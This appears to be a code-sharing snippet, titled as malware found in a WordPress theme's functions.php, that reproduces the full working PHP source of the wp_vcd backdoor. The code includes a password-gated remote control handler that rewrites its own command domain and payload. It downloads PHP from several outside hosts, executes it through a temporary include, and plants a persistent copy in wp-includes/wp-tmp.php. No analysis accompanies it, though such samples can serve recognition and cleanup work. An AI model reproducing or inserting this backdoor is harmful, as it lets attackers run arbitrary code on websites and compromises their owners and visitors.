Created
August 17, 2019 09:45
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malware in functions.php of WordPress theme
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| <?php | |
| if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '6ebe0d01459d18d46880e966a230cec1')) | |
| { | |
| $div_code_name="wp_vcd"; | |
| switch ($_REQUEST['action']) | |
| { | |
| case 'change_domain'; | |
| if (isset($_REQUEST['newdomain'])) | |
| { | |
| if (!empty($_REQUEST['newdomain'])) | |
| { | |
| if ($file = @file_get_contents(__FILE__)) | |
| { | |
| if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) | |
| { | |
| $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); | |
| @file_put_contents(__FILE__, $file); | |
| print "true"; | |
| } | |
| } | |
| } | |
| } | |
| break; | |
| case 'change_code'; | |
| if (isset($_REQUEST['newcode'])) | |
| { | |
| if (!empty($_REQUEST['newcode'])) | |
| { | |
| if ($file = @file_get_contents(__FILE__)) | |
| { | |
| if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) | |
| { | |
| $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); | |
| @file_put_contents(__FILE__, $file); | |
| print "true"; | |
| } | |
| } | |
| } | |
| } | |
| break; | |
| default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; | |
| } | |
| die(""); | |
| } | |
| $div_code_name = "wp_vcd"; | |
| $funcfile = __FILE__; | |
| if(!function_exists('theme_temp_setup')) { | |
| $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; | |
| if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { | |
| function file_get_contents_tcurl($url) | |
| { | |
| $ch = curl_init(); | |
| curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); | |
| curl_setopt($ch, CURLOPT_HEADER, 0); | |
| curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
| curl_setopt($ch, CURLOPT_URL, $url); | |
| curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); | |
| $data = curl_exec($ch); | |
| curl_close($ch); | |
| return $data; | |
| } | |
| function theme_temp_setup($phpCode) | |
| { | |
| $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); | |
| $handle = fopen($tmpfname, "w+"); | |
| if( fwrite($handle, "<?php\n" . $phpCode)) | |
| { | |
| } | |
| else | |
| { | |
| $tmpfname = tempnam('./', "theme_temp_setup"); | |
| $handle = fopen($tmpfname, "w+"); | |
| fwrite($handle, "<?php\n" . $phpCode); | |
| } | |
| fclose($handle); | |
| include $tmpfname; | |
| unlink($tmpfname); | |
| return get_defined_vars(); | |
| } | |
| $wp_auth_key='2ddffaf2b9685827ae760217ad16dcd9'; | |
| if (($tmpcontent = @file_get_contents("http://www.drilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.drilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { | |
| if (stripos($tmpcontent, $wp_auth_key) !== false) { | |
| extract(theme_temp_setup($tmpcontent)); | |
| @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); | |
| if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { | |
| @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); | |
| if (!file_exists(get_template_directory() . '/wp-tmp.php')) { | |
| @file_put_contents('wp-tmp.php', $tmpcontent); | |
| } | |
| } | |
| } | |
| } | |
| elseif ($tmpcontent = @file_get_contents("http://www.drilns.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { | |
| if (stripos($tmpcontent, $wp_auth_key) !== false) { | |
| extract(theme_temp_setup($tmpcontent)); | |
| @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); | |
| if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { | |
| @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); | |
| if (!file_exists(get_template_directory() . '/wp-tmp.php')) { | |
| @file_put_contents('wp-tmp.php', $tmpcontent); | |
| } | |
| } | |
| } | |
| } | |
| elseif ($tmpcontent = @file_get_contents("http://www.drilns.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { | |
| if (stripos($tmpcontent, $wp_auth_key) !== false) { | |
| extract(theme_temp_setup($tmpcontent)); | |
| @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); | |
| if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { | |
| @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); | |
| if (!file_exists(get_template_directory() . '/wp-tmp.php')) { | |
| @file_put_contents('wp-tmp.php', $tmpcontent); | |
| } | |
| } | |
| } | |
| } | |
| elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { | |
| extract(theme_temp_setup($tmpcontent)); | |
| } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { | |
| extract(theme_temp_setup($tmpcontent)); | |
| } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { | |
| extract(theme_temp_setup($tmpcontent)); | |
| } | |
| } | |
| } | |
| //$start_wp_theme_tmp | |
| //wp_tmp | |
| //$end_wp_theme_tmp |
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